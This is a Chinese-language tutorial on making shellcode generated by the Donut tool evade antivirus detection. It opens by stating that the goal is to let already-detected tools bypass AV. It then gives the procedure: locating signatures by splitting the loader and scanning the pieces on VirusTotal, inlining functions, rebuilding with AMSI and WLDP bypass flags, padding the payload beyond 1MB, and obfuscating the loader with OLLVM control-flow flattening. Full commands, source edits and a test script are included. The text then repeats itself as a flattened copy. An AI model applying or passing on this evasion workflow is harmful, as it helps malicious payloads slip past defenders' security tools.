Donut生成的shellcode免杀
字数 1412 2025-08-05 12:50:33

Donut生成的Shellcode免杀技术详解

1. Donut工具概述

Donut是一个强大的工具,能够将多种文件类型转换为位置无关的shellcode:

  • 支持转换的文件类型:VBScript、JScript、EXE、DLL、.NET文件
  • 主要用途:将现有被杀的工具转换为shellcode,通过shellcode加载技术、白+黑技术绕过AV检测

2. Donut Shellcode组成分析

Donut生成的shellcode主要由三部分组成:

  1. 自定位汇编代码
  2. DONUT_INSTANCE结构数据
  3. LOADER(加载器)

其中LOADER是一个函数,通过传入DONUT_INSTANCE参数来加载dotnet、pe、script等,其入口为:

HANDLE DonutLoader(PDONUT_INSTANCE inst)

3. 自定位汇编分析(以x86为例)

CALL label
...(DONUT_INSTANCE)
label:
POP ecx
POP edx
PUSH ecx
PUSH edx
...(LOADER)

作用:

  • 通过CALL指令获取DONUT_INSTANCE的地址,保存在ecx中
  • 调整栈,模拟调用HANDLE DonutLoader(PDONUT_INSTANCE inst)

4. LOADER免杀分析

4.1 特征定位

通过二分法定位查杀特征:

  1. 将LOADER保存为data.bin
  2. 使用VirusTotal扫描不同分段

测试结果示例:

data1.bin - 不杀 (前一半)
data2.bin - 杀 (后一半)
data21.bin - 不杀
data22.bin - 杀
...
data2222222.bin - 杀 (最终定位的特征部分)

特征代码对应的hex:

8B 54 24 0C 8B 44 24 04 56 8B F0 85 D2 74 13 57
8B 7C 24 10 2B F8 8A 0C 37 88 0E 46 83 EA 01 75
F5 5F 5E C3 8A 44 24 08 8B 4C 24 0C 57 8B 7C 24
08 F3 AA 8B 44 24 08 5F C3 8B 44 24 04 8B 4C 24
08 53 8A 10 84 D2 74 0E 8A 19 84 DB 74 08 3A D3
75 04 40 41 EB EC 0F BE 00 0F BE 09 2B C1 5B C3

对应Donut源代码中的三个函数:

  1. Memcpy
  2. Memset
  3. _strcmp

4.2 免杀方案一:inline函数

修改clib.c代码,将函数改为inline:

inline void * Memset(void * ptr, int value, uint32_t num) // ...
inline void * Memcpy(void * destination, const void * source, uint32_t num) // ...
inline int _strcmp(const char * str1, const char * str2) // ...

修改loader.c,直接包含clib.c

#include "loader.h"
#include "clib.c"  // 添加这行
DWORD MainProc(PDONUT_INSTANCE inst);

重新生成loader_exe_x86.h的步骤:

  1. 安装VS2022,打开"x86 Native Tools Command Prompt for VS 2022"
  2. 进入Donut源码目录执行:
cl /nologo loader\exe2h\exe2h.c loader\exe2h\mmap-windows.c
cl -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Zp8 -c -nologo -Gy -Os -O1 -Ob1 -GR- -EHa -Oi -GS- -Gs2147483647 -I include loader\loader.c hash.c encrypt.c loader\depack.c
link -nologo -order:@loader\order.txt -entry:DonutLoader -fixed -subsystem:console -nodefaultlib loader.obj hash.obj encrypt.obj depack.obj
exe2h.exe loader.exe

4.3 新特征分析

修改后重新编译donut.exe,生成shellcode仍会被检测为HEUR:Trojan.Win64.Donut.b

测试脚本示例:

import re
from io import BytesIO
from pathlib import Path

def get_loader():
    data = Path('loader_exe_x86.h').read_text('ascii')
    return bytes.fromhex("".join(re.findall(r'0x([0-9a-f]{2})', data)))

def build_loader(data: bytes, noeip=False):
    writer = BytesIO()
    if noeip:
        writer.write(b'\x90')  # nop
    else:
        writer.write(b'\xe8')  # call $+datalen
        writer.write(int.to_bytes(len(data), 4, 'big'))
    writer.write(data)
    if noeip:
        writer.write(b'\x90' * 4)
    else:
        writer.write(b'\x59')  # pop ecx
        writer.write(b'\x5a')  # pop edx
        writer.write(b'\x51')  # push ecx
        writer.write(b'\x52')  # push edx
    writer.write(get_loader())  # LOADER
    return writer.getvalue()

Path('test.bin').write_bytes(get_loader())
Path('test1.bin').write_bytes(build_loader(b'\x90'))
Path('test2.bin').write_bytes(build_loader(b'\x90', noeip=True))
Path('test3.bin').write_bytes(build_loader(b'\x90' * 100))
Path('test4.bin').write_bytes(build_loader(b'\x90' * 100, noeip=True))
Path('test5.bin').write_bytes(build_loader(b'\x90' * 1024 * 1024))
Path('test6.bin').write_bytes(build_loader(b'\x90' * 1024 * 1024, noeip=True))

测试结论:

  • 单独LOADER不杀
  • 自定位+LOADER组合会被杀
  • 当数据长度超过1024*1024时不会被杀

4.4 免杀方案二:OLLVM混淆

使用OLLVM的控制流平坦化技术混淆LOADER:

  1. 修改clib.c中的Memset函数(LLVM不支持__stosb宏):
inline void * Memset(void * ptr, int value, uint32_t num) {
    unsigned char * p = (unsigned char *)ptr;
    while(num--) {
        *p = (unsigned char)value;
        p++;
    }
    return ptr;
}
  1. 使用OLLVM重新编译LOADER(x86):
.\clang-cl.exe --target=i686-w64-windows-msvc -mllvm -fla -mllvm -split -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Zp8 -c -nologo -Gy -Os -O1 -Ob1 -GR- -EHa -Oi -GS- -Gs2147483647 -I include loader\loader.c hash.c encrypt.c loader\depack.c
link -nologo -order:@loader\order.txt -entry:DonutLoader -fixed -subsystem:console -nodefaultlib loader.obj hash.obj encrypt.obj depack.obj
.\exe2h.exe .\loader.exe
  1. 生成x64版本(需要从VS目录复制chkstk.obj):
.\clang-cl.exe --target=x86_64-w64-windows-msvc -mllvm -fla -mllvm -split -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Zp8 -c -nologo -Gy -Os -O1 -Ob1 -GR- -EHa -Oi -GS- -Gs2147483647 -I include loader\loader.c hash.c encrypt.c loader\depack.c
link -nologo -order:@loader\order.txt -entry:DonutLoader -fixed -subsystem:console -nodefaultlib loader.obj hash.obj encrypt.obj depack.obj chkstk.obj
.\exe2h.exe .\loader.exe
  1. 生成包含OLLVM版LOADER的donut.exe:
rc include/donut.rc
.\clang-cl.exe --target=i686-w64-windows-msvc -Zp8 -nologo -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib32.lib include/donut.res

5. 常见问题解决

  1. 编译错误

    • 无法解析的外部符号 _DisableETW:确保使用兼容的Donut版本(1.0版本已验证可用)
    • a parameter list without types:检查头文件中的函数声明是否完整
  2. OLLVM问题

    • 如果遇到OLLVM相关问题,可以先使用inline函数方案
    • 确保使用兼容的LLVM版本(如ollvm-16)

6. 总结

完整的Donut shellcode免杀流程:

  1. 分析原始shellcode特征
  2. 使用inline函数消除已知特征
  3. 使用OLLVM控制流平坦化技术混淆LOADER
  4. 重新编译生成免杀版本的donut.exe

关键点:

  • 特征定位使用二分法逐步缩小范围
  • OLLVM混淆通过随机种子产生不同代码,每次编译可生成不同特征
  • 控制流平坦化使代码执行路径难以预测,增强免杀效果
Donut生成的Shellcode免杀技术详解 1. Donut工具概述 Donut是一个强大的工具,能够将多种文件类型转换为位置无关的shellcode: 支持转换的文件类型:VBScript、JScript、EXE、DLL、.NET文件 主要用途:将现有被杀的工具转换为shellcode,通过shellcode加载技术、白+黑技术绕过AV检测 2. Donut Shellcode组成分析 Donut生成的shellcode主要由三部分组成: 自定位汇编代码 DONUT_ INSTANCE结构数据 LOADER(加载器) 其中LOADER是一个函数,通过传入DONUT_ INSTANCE参数来加载dotnet、pe、script等,其入口为: 3. 自定位汇编分析(以x86为例) 作用: 通过CALL指令获取DONUT_ INSTANCE的地址,保存在ecx中 调整栈,模拟调用 HANDLE DonutLoader(PDONUT_INSTANCE inst) 4. LOADER免杀分析 4.1 特征定位 通过二分法定位查杀特征: 将LOADER保存为data.bin 使用VirusTotal扫描不同分段 测试结果示例: 特征代码对应的hex: 对应Donut源代码中的三个函数: Memcpy Memset _strcmp 4.2 免杀方案一:inline函数 修改 clib.c 代码,将函数改为inline: 修改 loader.c ,直接包含 clib.c : 重新生成 loader_exe_x86.h 的步骤: 安装VS2022,打开"x86 Native Tools Command Prompt for VS 2022" 进入Donut源码目录执行: 4.3 新特征分析 修改后重新编译donut.exe,生成shellcode仍会被检测为 HEUR:Trojan.Win64.Donut.b 测试脚本示例: 测试结论: 单独LOADER不杀 自定位+LOADER组合会被杀 当数据长度超过1024* 1024时不会被杀 4.4 免杀方案二:OLLVM混淆 使用OLLVM的控制流平坦化技术混淆LOADER: 修改 clib.c 中的 Memset 函数(LLVM不支持 __stosb 宏): 使用OLLVM重新编译LOADER(x86): 生成x64版本(需要从VS目录复制chkstk.obj): 生成包含OLLVM版LOADER的donut.exe: 5. 常见问题解决 编译错误 : 无法解析的外部符号 _DisableETW :确保使用兼容的Donut版本(1.0版本已验证可用) a parameter list without types :检查头文件中的函数声明是否完整 OLLVM问题 : 如果遇到OLLVM相关问题,可以先使用inline函数方案 确保使用兼容的LLVM版本(如ollvm-16) 6. 总结 完整的Donut shellcode免杀流程: 分析原始shellcode特征 使用inline函数消除已知特征 使用OLLVM控制流平坦化技术混淆LOADER 重新编译生成免杀版本的donut.exe 关键点: 特征定位使用二分法逐步缩小范围 OLLVM混淆通过随机种子产生不同代码,每次编译可生成不同特征 控制流平坦化使代码执行路径难以预测,增强免杀效果